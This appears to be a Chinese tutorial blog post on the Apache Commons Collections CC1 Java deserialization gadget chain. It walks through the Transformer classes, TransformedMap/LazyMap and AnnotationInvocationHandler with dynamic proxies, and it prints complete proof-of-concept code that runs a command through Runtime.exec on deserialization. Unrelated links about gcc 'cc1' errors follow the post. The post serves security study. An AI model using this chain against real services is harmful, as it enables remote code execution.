基础

cc接口及类介绍

Transformer接口

Defines a functor interface implemented by classes that transform one object into another.

只有一个方法:

ConstantTransformer

returns the same constant each time

构造函数:

transform方法:

InvokerTransformer

implementation that creates a new object instance by reflection.

构造函数:

transform方法:

在input方法中找到与iMethodName、iParamTypes匹配的方法,然后利用反射调用它。

例子:

ChainedTransformer

implementation that chains the specified transformers together.

构造函数:

tranform方法:

就是将多个transform串起来,用第iTranforms[0]来tranform输入的元素,然后将transform后的元素作为iTranforms[i]的tranform参数。所以,如果iTranforms[0]为ConstantTransformer,输入将对此chained tranform不产生影响。

例子:

反序列化

注意到Runtime类没有实现反序列化接口,怎么才能构造它并反序列化呢

注意到cc可以动态转化类,可以通过反射构造出Rutime类。但是Runtime的构造方法是私有的,怎么办呢。调用一个类的静态方法,不需要这个类被实例化,反射的时候也是如此。所以:

            Method method = Runtime.class.getMethod("getRuntime", null);
Runtime runtime = Runtime.class.cast(method.invoke(null, null));
runtime.exec("calc");

注意到这种写法有cast方法,其实是可以接着用反射替换掉:

Method method = Runtime.class.getMethod("getRuntime", null);
Object obj =method.invoke(null, null);
Method exec = obj.getClass().getMethod("exec", new Class[]{String.class});
exec.invoke(obj, "calc");

上诉这种形式可以完美匹配chained链条,用tranform的方式表达:

        Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformer);
ct.transform(null);

此时我们已经可以制作出一个可以被反序列化的ChainedTransformer了。接下来要找到一个类:

1、有ChainedTransformer属性,且可被赋值。

2、在静态构造块、初始化构造块、构造函数、readObj链之一中调用ct.tranform的类。

cc1

TransformedMap

Decorates another Map to transform objects that are added.

构造函数:

注意到:

org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue会调用

所以只要找到readObject中调用了MapEntry.setValue即可完成反序列化利用链

AnnotationInvocationHandler

构造方法:

readObj方法:

var3为map,key为this.type方法名

遍历var2中的key,查看var3的keys是否包含。如果包含就调用var5的setValue。

poc

    public void exp1() throws Exception {
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{Utils.cmd})
};
ChainedTransformer ct = new ChainedTransformer(transformer); Map innermap = new HashMap();
//绕过var3.get(var6)
innermap.put("value", "xx");
Map outermap = TransformedMap.decorate(innermap, null, ct); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//为私有方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//Retention为有value方法
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outermap);
ser(handler);
} public void ser(InvocationHandler handler) throws Exception {
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}

调用链

lazyMap

get方法调用了transform:

对象初始化:

动态代理

java动态代理是利用反射机制生成一个实现代理接口的匿名类,在调用具体方法前调用InvokeHandler来处理

动态代理那些接口

        PersonEat personEat = new PersonEat();
//代理类代理personEat的所有接口中包含的方法
Object obj1 = Proxy.newProxyInstance(personEat.getClass().getClassLoader(),
personEat.getClass().getInterfaces(), (proxy, method, args1) -> {
System.out.println("wash");
Object obj = method.invoke(personEat, args1);
System.out.println("clean");
return obj;
});
Eat.class.cast(obj1).eat();
Dress.class.cast(obj1).dress();
//代理类代理personEat的Dress接口的方法
obj1 = Proxy.newProxyInstance(personEat.getClass().getClassLoader(),
new Class[]{Dress.class}, (proxy, method, args1) -> {
System.out.println("wash");
Object obj = method.invoke(personEat, args1);
System.out.println("clean");
return obj;
});
Dress.class.cast(obj1).dress();
Eat.class.cast(obj1).eat();

动态代理类查看:

这些方法均会触发代理方法:

poc

AnnotationInvocationHandler的readObj中entrySet为Map的接口方法,会自动触发invoke方法。

生成的动态代理类,invoke方法已被重写:

invoke方法又调用了map的get方法,如果这个map为lazyMap则利用链完整。又这个memberValues为构造函数的参数,外部可控,可设置为lazyMap。

        Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{Utils.cmd})
};
ChainedTransformer ct = new ChainedTransformer(transformer); //构造LazyMap
Map innerMap = new HashMap();
innerMap.put("value", "xx");
Map outerMap = LazyMap.decorate(innerMap, ct); //构造ProxyMap
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//一个实现了InvocationHandler的类,然后使用代理来劫持一个Map类型的对象的函数执行流程,
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
ser(handler);

调用链

cc1的更多相关文章

  1. 安装lxml时gcc: internal compiler error: Killed (program cc1)的解决方法

    在安装lxml时出现如下错误 gcc: internal compiler error: Killed (program cc1) 通过查看dmesg发现下述错误信息[2517343.500178] ...

  2. 阿里云linux服务器安装Phalcon-----"phalcon Volt directory can't be written" "gcc: internal compiler error: Killed (program cc1)"

    这里特别蛋疼的一件事是官方英文文档和中文文档命令参数略有不同 中文文档: //通用平台下安装指定的软件包: sudo yum install git gcc make pcre-devel php-d ...

  3. 解决:cc1.exe: sorry, unimplemented: 64-bit mode not compiled in

    在win下用Go语言的cgo时(比如下面场景)我们会用到的GCC编译器,Win下我们一般用MinGW. Golang连接Oracle数据库:win下 golang 跨平台编译 MinGW全称Minim ...

  4. 分享red hat linux 6上安装oracle11g时遇到的gcc: error trying to exec 'cc1': execvp: No such file or directory的问题处理过程

    安装环境:Red Hat Linux 6.5_x64.oracle11g 64bit 报错详情: 安装到68%时弹窗报错: 调用makefile '/test/app/Administrators/p ...

  5. make module失败的原因cc1: error: unrecognized command line option “-m64

    cc1: error: unrecognized command line option "-m64"cc1: error: unrecognized command line o ...

  6. 安装Redis 编译make gcc: error trying to exec 'cc1': execvp: 没有该文件或目录的错误

    Linux(Redhat) make: gcc: error trying to exec 'cc1': execvp: 没有该文件或目录的错误 排查错误: 1.检查gcc.gcc-c++是否安装rp ...

  7. 安装Phalcon报错:gcc: Internal error: Killed (program cc1)

    起因 安装Phalcon可以参考github上面的README.md 下面是我在阿里云ECS服务器上面执行命令的过程: # 安装依赖 sudo yum install php-devel pcre-d ...

  8. 编译openwrt时报错:fstools-2018-01-02-11efbf3b/libfstools/overlay.c: At top level: cc1: error: unrecognized command line option '-Wno-format-truncation' [-Werror]

    1. 详细错误信息 [ 11%] Building C object CMakeFiles/fstools.dir/libfstools/overlay.c.o/home/jello/openwrt/ ...

  9. elfutils cc1: all warnings being treated as errors

    /********************************************************************** * elfutils cc1: all warnings ...

  10. 解决编译错误:cc: Internal error: Killed (program cc1)

    错误现象: cc: Internal error: Killed (program cc1) ... 大体上是因为内存不足,临时使用交换分区来解决吧 sudo mkswap /swapfile sud ...

随机推荐

  1. ubuntu18 电脑重启后登录后无法进入桌面

    ubuntu18 电脑重启后登录后无法进入桌面 应该是ubuntu桌面管理器gdm3和nvidia驱动冲突导致的 解决办法: 首先卸载已有的nvidia驱动 注意:在下载完驱动后,此时电脑没有驱动文件 ...

  2. .net5 winform 打开文件夹

    直接使用System.Diagnostics.Process.Start("路径"),有可能会包拒绝访问的异常,建议采用以下写法: var  newPath="" ...

  3. vue真实项目结构

    我明白你的需求.如果你想看一个真实企业项目使用的复杂目录结构,你可以参考以下几个例子: 根据1的介绍,一个vue项目的目录结构可以细分为以下几个部分: |- src | |- api 存放所有请求接口 ...

  4. 2022-04-26内部群每日三题-清辉PMP

    1.一家组织的经验教训数据库表明过去的重大项目问题是质量失败.项目经理在制定质量管理过程时决定做得更彻底.为确保质量,项目经理应该怎么做? A.根据项目的范围和需求制定质量管理计划. B.将所有质量控 ...

  5. mybatis面试资料

    1.#{}和${}的区别 #{} 数据类型检查: 若检测到字符串类型,就加上引号: 若检测到数值类型,就不加引号. 安全检查: 若变量的值带有引号,会对引号进行转义处理,这样可以防止sql注入. ${ ...

  6. C# 教你如何终止Task线程

    我们在多线程中通常使用一个bool IsExit类似的代码来控制是否线程的运行与终止,其实使用CancellationTokenSource来进行控制更为好用,下面我们将介绍CancellationT ...

  7. pandas-数据结构转换-纵转横

    如下代码,亲测有效,后面会附上入口以及出口数据结构截图 def test_func(file_path): """ 把pandas数据结构-dataframe,横向的索引 ...

  8. [267] High Five

    [267] High Five Client 00 SendLogOut 01 RequestAttack 03 RequestStartPledgeWar 04 RequestReplyStartP ...

  9. C# 前台线程 后台线程区别

    前台线程 会随进程一起结束 不管是否完成,后台线程需要执行完毕,进程才能结束 例子: class Program { static void Main(string[] args) { Thread ...

  10. Delphi 移除窗口最大化按钮

    很遗憾,好像没有直接的代码可以操作,可以试试以下代码: var GWL_Result: Integer; begin GWL_Result:= GetWindowLong(Handle,GWL_STY ...